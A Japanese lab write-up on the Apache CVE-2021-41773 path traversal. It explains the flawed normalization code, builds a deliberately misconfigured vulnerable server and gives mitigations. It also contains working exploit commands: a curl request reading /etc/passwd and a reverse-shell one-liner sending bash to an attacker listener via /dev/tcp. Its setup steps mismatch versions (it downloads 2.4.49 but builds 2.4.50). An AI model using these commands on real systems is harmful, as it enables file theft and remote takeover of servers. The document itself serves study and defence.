
CVE 2021 41773 の POC とラボ構築ドキュメント
CVE-2021-41773 の POC およびラボ構築ドキュメント
CVE-2021-41773 は、Apache HTTP サーバー 2.4.49 および 2.4.50 に存在するパストラバーサル (パス横断) の脆弱性です。この脆弱性は、このバージョンで導入されたパス正規化コードの更新を悪用します。
パス正規化関数:
通常、パス正規化は URL パスを標準形式にフィルタリングし、攻撃者による悪意のある行為を防ぎます。
Apache HTTP Server 2.4.49 では、ap_normalize_path 関数に変更が加えられ、これがこの脆弱性の根本原因となりました。
ソースコード を見てみると、この関数が指定された URL 内の各文字を反復処理してサニタイズを適用していることがわかります。
しかし、脆弱性は URL デコードを行うコードセクションに存在します。この関数は単純で、URL エンコードされた文字をデコードするだけです。
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
ここでの問題は、URL 内の最初のドット . のみを処理することです。つまり、../ の代わりに .%2e/ を渡すと、サーバーは %2e をデコードしてドットに変換するため、結果として ../ になります。
通常の場合:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
脆弱な場合:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
この問題は、サーバーディレクティブと組み合わさると危険で悪用可能なものになります。サーバーディレクティブは Apache サーバーの動作を決定するルールとして機能します。
Require all granted 設定は、DocumentRoot 内のリソースへのすべてのリクエストを明示的に許可します。
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
サーバーがルートレベルで Require all granted ディレクティブを使用して設定されている場合、ファイルシステム全体が公開アクセス可能になります。
Apache の cgi-bin ディレクトリは、デフォルトでは Require all granted ディレクティブを持つエイリアスディレクトリであり、公開アクセスが許可されています。つまり、誰でも /usr/local/apache2/cgi-bin/ ディレクトリにリクエストを送信できます。
パストラバーサルの回避を可能にする ap_normalize_path 関数のロジック上の欠陥と、サーバー上の誤って設定された Require all granted ディレクティブを組み合わせることで、攻撃者は意図されたディレクトリの外にあるサーバーのファイルシステム上のファイルにアクセスできます。
サーバーで mod_cgi が有効になっている場合、この脆弱性をさらに悪用してリモートコード実行 (RCE) に至る可能性があります。
デフォルトでは、このモジュールは Apache HTTPD で有効になっていないため、デフォルトバージョンは RCE に対して脆弱ではありません。
mod_cgi は、サーバー上で CGI (Common Gateway Interface) スクリプトを実行し、その出力をクライアントに返すことを可能にします。主にウェブサイトに動的な機能を提供するために使用されます。
脆弱な Apache バージョンをダウンロードします (脆弱なバージョンは直接インストールできないため、アーカイブからダウンロードします):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
依存関係をインストールします:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
脆弱な Apache ファイルを解凍して設定します:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
正常に完了したら、Apache の設定ファイルに移動します:
sudo nano /usr/local/apache2/conf/httpd.conf
設定ファイルに以下を追加します:
ServerName 127.0.1.1
Apache サービスを起動します:
sudo /usr/local/apache2/bin/apachectl start
デフォルトの Web サーバーディレクトリに移動します:
cd /usr/local/apache2/htdocs
注: 通常、Apache のルートディレクトリは /var/www/html ですが、ここではサーバーをソースからインストールしていないため /usr/local/apache2/htdocs になっています。必要であれば /var/www/html に変更することもできますが、今はこのままにしておきます。
基本的な静的ウェブサイトを作成します:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
脆弱性を再現するために Apache の設定を編集します:
sudo nano /usr/local/apache2/conf/httpd.conf
脆弱性が悪用できるように、設定ファイルのこの部分を変更します:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
次に Apache サーバーを起動します:
sudo /usr/local/apache2/bin/apachectl start
以下の URL を入力して脆弱なウェブサイトにアクセスします:
http://<vm-ip>
ラボの準備が整いました。それでは、エクスプロイトがどのように機能するかを見てみましょう:
この curl リクエストで脆弱性が発動します:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
この方法で /etc/passwd ファイルやシステム内の任意のファイルにアクセスできます。
コマンドインジェクションを試して、リバースシェルを取得してみましょう:
攻撃者マシンで netcat リスナーをセットアップします:
nc -lvnp 4444
次に、curl リクエストで Bash ワンライナーを被害者に送信します:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
これでシェルアクセスが得られます。
バージョン 2.4.49 および 2.4.50 の場合、推奨される緩和策は最新バージョンへのアップグレードです。
アップデートができない場合は、公開アクセスを制限するためにディレクトリを監査することをお勧めします:
Require all denied ディレクティブは、公開アクセスを意図していないすべてのディレクトリに実装する必要があり、ルート/ディレクトリには決して設定しないでください。
/cgi-bin ディレクトリは Require all denied ディレクティブで設定し、エイリアスとして設定しないようにしてください。